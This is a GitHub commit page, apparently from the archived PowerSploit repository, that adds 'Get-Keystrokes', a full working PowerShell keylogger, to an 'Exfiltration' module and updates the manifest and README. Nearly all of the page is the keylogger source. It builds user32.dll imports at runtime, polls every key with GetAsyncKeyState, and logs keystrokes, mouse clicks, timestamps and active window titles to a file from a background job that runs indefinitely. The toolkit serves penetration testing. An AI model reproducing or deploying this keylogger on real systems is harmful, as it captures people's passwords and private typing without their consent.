Skip to content
This repository has been archived by the owner on Jan 21, 2021. It is now read-only.

Commit

Permalink
Added Get-Keystrokes
Browse files Browse the repository at this point in the history
Get-Keystrokes is a PowerShell keylogger
  • Loading branch information
Matt Graeber committed Jun 30, 2013
1 parent 94751bc commit 717950d
Show file tree
Hide file tree
Showing 3 changed files with 252 additions and 1 deletion.
2 changes: 1 addition & 1 deletion Exfiltration/Exfiltration.psd1
Expand Up @@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID =

# List of all files packaged with this module
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
'Usage.md'
'Get-Keystrokes.ps1', 'Usage.md'

# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
Expand Down
247 changes: 247 additions & 0 deletions Exfiltration/Get-Keystrokes.ps1
@@ -0,0 +1,247 @@
function Get-Keystrokes {
<#
.SYNOPSIS
Logs keys pressed, time and the active window.
PowerSploit Function: Get-Keystrokes
Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER LogPath
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to '$($Env:TEMP)\key.log'.
.PARAMETER CollectionInterval
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
.EXAMPLE
Get-Keystrokes -LogPath C:\key.log
.EXAMPLE
Get-Keystrokes -CollectionInterval 20
.LINK
http://www.obscuresec.com/
http://www.exploit-monday.com/
#>
[CmdletBinding()] Param (
[Parameter(Position = 0)]
[ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})]
[String]
$LogPath = "$($Env:TEMP)\key.log",

[Parameter(Position = 1)]
[UInt32]
$CollectionInterval
)

Write-Verbose "Logging keystrokes to $LogPath"

$Initilizer = {
$LogPath = 'REPLACEME'

'"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode

function KeyLog {
[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null

try
{
$ImportDll = [User32]
}
catch
{
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
$TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')

$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$FieldArray = [Reflection.FieldInfo[]] @(
[Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
[Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
[Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
[Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
[Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
[Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
)

$PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
$FieldValueArray = [Object[]] @(
'GetAsyncKeyState',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)

$PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
$FieldValueArray = [Object[]] @(
'GetKeyboardState',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)

$PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
$FieldValueArray = [Object[]] @(
'MapVirtualKey',
$False,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)

$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
[Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
$FieldValueArray = [Object[]] @(
'ToUnicode',
$False,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)

$PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
$FieldValueArray = [Object[]] @(
'GetForegroundWindow',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)

$ImportDll = $TypeBuilder.CreateType()
}

Start-Sleep -Milliseconds 40

try
{

#loop through typeable characters to see which is pressed
for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
{
$VirtualKey = $TypeableChar
$KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)

#if the key is pressed
if (($KeyResult -band 0x8000) -eq 0x8000)
{

#check for keys not mapped by virtual keyboard
$LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
$RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
$LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
$RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
$LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
$RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
$TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
$SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
$DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
$EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
$BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
$LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
$RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
$UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
$DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
$LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
$RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000

if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'}
if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'}
if ($TabKey) {$LogOutput += '[Tab]'}
if ($SpaceBar) {$LogOutput += '[SpaceBar]'}
if ($DeleteKey) {$LogOutput += '[Delete]'}
if ($EnterKey) {$LogOutput += '[Enter]'}
if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
if ($RightArrow) {$LogOutput += '[Right Arrow]'}
if ($UpArrow) {$LogOutput += '[Up Arrow]'}
if ($DownArrow) {$LogOutput += '[Down Arrow]'}
if ($LeftMouse) {$LogOutput += '[Left Mouse]'}
if ($RightMouse) {$LogOutput += '[Right Mouse]'}

#check for capslock
if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}

$MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
$KeyboardState = New-Object Byte[] 256
$CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)

#create a stringbuilder object
$StringBuilder = New-Object -TypeName System.Text.StringBuilder;
$UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)

#convert typed characters
if ($UnicodeKey -gt 0) {
$TypedCharacter = $StringBuilder.ToString()
$LogOutput += ('['+ $TypedCharacter +']')
}

#get the title of the foreground window
$TopWindow = $ImportDll::GetForegroundWindow()
$WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle

#get the current DTG
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)

#Create a custom object to store results
$ObjectProperties = @{'Key Typed' = $LogOutput;
'Time' = $TimeStamp;
'Window Title' = $WindowTitle}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties

# Stupid hack since Export-CSV doesn't have an append switch in PSv2
$CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]

#return results
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode

}
}
}
catch {}
}
}

$Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))

Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null

if ($PSBoundParameters['CollectionInterval'])
{
$Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)

Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
Stop-Job -Name Keylogger
Unregister-Event -SourceIdentifier ElapsedAction
$Sender.Stop()
} | Out-Null
}

}
4 changes: 4 additions & 0 deletions README.md
Expand Up @@ -128,6 +128,10 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas

**All your data belong to me!**

#### `Get-Keystrokes`

Logs keys pressed, time and the active window.

#### `Get-TimedScreenshot`

A function that takes screenshots at a regular interval and saves them to a folder.
Expand Down

0 comments on commit 717950d

Please sign in to comment.